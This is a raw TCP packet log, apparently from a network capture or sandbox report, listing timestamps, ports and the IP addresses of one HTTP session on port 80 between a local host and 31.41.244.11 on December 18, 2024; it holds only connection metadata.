Dec 18, 2024 11:47:28.175977945 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.176021099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.177011967 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.177099943 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.177130938 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.177170992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.178121090 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.178169012 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.178205013 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.178246975 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.179368019 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.179424047 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.179507017 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.179554939 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.180634022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.180684090 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.180685997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.180722952 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.182096004 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.182147980 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.182152987 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.182193995 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.182807922 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.182854891 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.182888031 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.182950020 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.183676958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.183689117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.183726072 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.184483051 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.184530020 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.184623957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.184710979 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.185317039 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.185338020 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.185369015 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.185388088 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.186417103 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.186467886 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.186485052 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.186526060 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.288291931 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.288307905 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.288320065 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.288410902 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.288461924 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.288495064 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.288570881 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.288583040 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.288615942 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.288649082 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.289412975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.289433002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.289444923 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.289485931 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.289504051 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.290394068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.290405989 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.290416002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.290451050 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.290476084 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.291258097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.291383982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.291397095 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.291429996 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.291457891 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.292355061 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.292366982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.292378902 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.292412043 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.292440891 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.293617964 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.293668032 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.293673992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.293679953 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.293711901 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.293752909 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.294786930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.294852018 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.294873953 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.294883966 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.294930935 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.296011925 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.296072006 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.296233892 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.296247005 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.296288967 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.296964884 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.296977043 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.296988010 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.297023058 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.297039032 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.297688961 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.297699928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.297709942 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.297739029 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.297765970 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.298301935 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.298321962 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.298333883 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.298356056 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.298382998 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.299065113 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.299086094 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.299098015 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.299132109 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.299760103 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.299772024 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.299782991 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.299823046 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.299834013 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.300338984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.300349951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.300362110 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.300393105 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.300421000 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.300852060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.300913095 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.300925016 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.300956964 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.300980091 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.301501036 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.301542997 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.301553965 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.301584005 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.301614046 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.302381992 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.302392960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.302403927 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.302436113 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.302462101 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.303355932 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.303376913 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.303388119 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.303425074 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.303462982 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.304222107 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.304233074 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.304239035 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.304280043 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.304929018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.304944992 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.304956913 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.304991961 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.305003881 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.305696964 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.305710077 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.305721045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.305761099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.305798054 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.306534052 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.306546926 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.306556940 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.306591034 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.306618929 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.307357073 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.307416916 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.307545900 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.307606936 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.307624102 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.307657003 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.308397055 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.308446884 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.308459997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.308480978 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.308492899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.308785915 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.309333086 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.309345007 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.309356928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.309385061 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.309412003 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.309993029 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.310014009 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.310024977 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.310056925 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.310084105 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.310762882 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.310791969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.310797930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.310863972 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.311629057 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.311667919 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.311678886 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.311681986 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.311706066 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.311717987 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.312400103 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.312416077 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.312427044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.312458992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.312486887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.313189030 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.313200951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.313211918 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.313242912 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.313268900 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.314037085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.314049006 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.314060926 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.314085007 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.314115047 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.314838886 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.314851046 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.314862013 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.314888954 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.314918041 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.315571070 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.315629005 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.315640926 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.315675020 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.315700054 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.316526890 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.316539049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.316550970 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.316590071 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.316629887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.317384958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.317749023 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.479063988 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.479082108 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.479137897 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.479140997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.479187012 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.479284048 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.479296923 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.479325056 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.479325056 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.479342937 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.479990959 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.480004072 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.480010986 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.480093002 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.480093002 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.480659962 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.480669022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.480787039 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.480880976 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.480926037 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.480937958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.480964899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.480964899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.481029987 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.481817007 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.481828928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.481839895 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.481858015 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.481898069 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.482851982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.482863903 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.482875109 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.482911110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.482952118 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.483347893 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.483360052 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.483371019 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.483416080 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.483454943 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.484138966 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.484181881 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.484194994 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.484226942 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.484277964 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.485033035 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.485044003 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.485057116 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.485110044 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.485110044 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.485888958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.485901117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.485929966 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.486031055 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.486053944 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.486167908 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.486550093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.486566067 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.486577988 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.486624002 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.486624002 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.487371922 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.487384081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.487396002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.487416983 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.487535954 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.488197088 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.488209009 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.488221884 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.488271952 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.488953114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.488964081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.488976955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.489046097 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.489046097 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.489784002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.489794970 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.489810944 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.489844084 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.489844084 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.490545034 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.490556002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.490566969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.490586996 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.490654945 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.491327047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.491355896 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.491365910 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.491461992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.492160082 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.492172003 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.492182970 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.492223978 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.492223978 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.492961884 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.492973089 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.492985010 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.493024111 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.493024111 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.494064093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.494076014 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.494115114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.494134903 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.494194031 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.494925022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.494935989 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.494947910 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.495012999 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.495012999 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.495687008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.495697975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.495708942 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.495762110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.495790958 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.496300936 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.496314049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.496325016 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.496372938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.496481895 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.497116089 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.497204065 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.497216940 CET	80	49837	31.41.244.11	192.168.2.6
